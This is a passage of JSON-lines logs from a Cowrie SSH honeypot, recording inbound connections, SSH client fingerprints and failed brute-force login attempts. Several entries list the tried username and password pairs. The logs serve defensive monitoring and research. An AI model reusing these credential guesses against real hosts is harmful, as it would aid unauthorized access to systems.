512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:14.327780Z","src_ip":"76.127.61.251","session":"c07ac6a98735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ctsi@123","message":"login attempt [root/ctsi@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:14.582682Z","src_ip":"76.127.61.251","session":"c07ac6a98735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:15.641473Z","src_ip":"76.127.61.251","session":"c07ac6a98735","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:19.388197Z","src_ip":"122.168.114.167","session":"482223b06cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:19.394089Z","src_ip":"122.168.114.167","session":"482223b06cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":33738,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dc74116280b","protocol":"ssh","message":"New connection: 103.97.179.160:33738 (10.17.0.5:22) [session: 5dc74116280b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:41.532791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:41.537173Z","src_ip":"103.97.179.160","session":"5dc74116280b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:42.844940Z","src_ip":"122.168.114.167","session":"482223b06cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:44.687840Z","src_ip":"103.97.179.160","session":"5dc74116280b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3bot","password":"123456789","message":"login attempt [ts3bot/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:46.813969Z","src_ip":"103.97.179.160","session":"5dc74116280b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":34802,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0822db8fe90","protocol":"ssh","message":"New connection: 221.139.88.149:34802 (10.17.0.5:22) [session: b0822db8fe90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:47.044276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:47.051433Z","src_ip":"221.139.88.149","session":"b0822db8fe90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:47.300207Z","src_ip":"221.139.88.149","session":"b0822db8fe90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:48.066220Z","src_ip":"103.97.179.160","session":"5dc74116280b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123@Aa","message":"login attempt [root/123123@Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:48.110928Z","src_ip":"221.139.88.149","session":"b0822db8fe90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.5","message":"Connection lost after 34.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:48.588262Z","src_ip":"122.168.114.167","session":"482223b06cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:51.002706Z","src_ip":"221.139.88.149","session":"b0822db8fe90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":39810,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1a823e1bcdb","protocol":"ssh","message":"New connection: 122.168.114.167:39810 (159.203.135.109:22) [session: a1a823e1bcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:06:56.746675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:02.989612Z","src_ip":"122.168.114.167","session":"a1a823e1bcdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:02.994000Z","src_ip":"122.168.114.167","session":"a1a823e1bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":49872,"dst_ip":"10.17.0.5","dst_port":22,"session":"18fe1ca4c12d","protocol":"ssh","message":"New connection: 76.127.61.251:49872 (10.17.0.5:22) [session: 18fe1ca4c12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:05.536808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:05.541665Z","src_ip":"76.127.61.251","session":"18fe1ca4c12d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:05.597581Z","src_ip":"76.127.61.251","session":"18fe1ca4c12d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234@","message":"login attempt [root/Qwer1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:05.857850Z","src_ip":"76.127.61.251","session":"18fe1ca4c12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:06.920622Z","src_ip":"76.127.61.251","session":"18fe1ca4c12d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:26.306564Z","src_ip":"122.168.114.167","session":"a1a823e1bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.2","message":"Connection lost after 36.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:32.977711Z","src_ip":"122.168.114.167","session":"a1a823e1bcdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42270,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e738c05f86c","protocol":"ssh","message":"New connection: 122.168.114.167:42270 (159.203.135.109:22) [session: 6e738c05f86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:35.741253Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.179.160","src_port":46372,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac070add54d","protocol":"ssh","message":"New connection: 103.97.179.160:46372 (10.17.0.5:22) [session: cac070add54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:42.283394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:42.287429Z","src_ip":"103.97.179.160","session":"cac070add54d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:42.460282Z","src_ip":"122.168.114.167","session":"6e738c05f86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:42.464008Z","src_ip":"122.168.114.167","session":"6e738c05f86c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:42.519106Z","src_ip":"103.97.179.160","session":"cac070add54d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz2wsx3edc4rfv","message":"login attempt [git/1qaz2wsx3edc4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:43.362388Z","src_ip":"103.97.179.160","session":"cac070add54d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:44.565958Z","src_ip":"103.97.179.160","session":"cac070add54d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":43490,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ecddf18f0ed","protocol":"ssh","message":"New connection: 76.127.61.251:43490 (10.17.0.5:22) [session: 3ecddf18f0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:55.781496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:55.786456Z","src_ip":"76.127.61.251","session":"3ecddf18f0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:55.842821Z","src_ip":"76.127.61.251","session":"3ecddf18f0ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2026","message":"login attempt [root/P@ssw0rd@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:56.109528Z","src_ip":"76.127.61.251","session":"3ecddf18f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:07:57.167678Z","src_ip":"76.127.61.251","session":"3ecddf18f0ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.158.137","src_port":50938,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f00652e494","protocol":"ssh","message":"New connection: 101.47.158.137:50938 (159.203.135.109:22) [session: 92f00652e494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:04.344999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:08:04.349090Z","src_ip":"101.47.158.137","session":"92f00652e494","protocol":"ssh"}
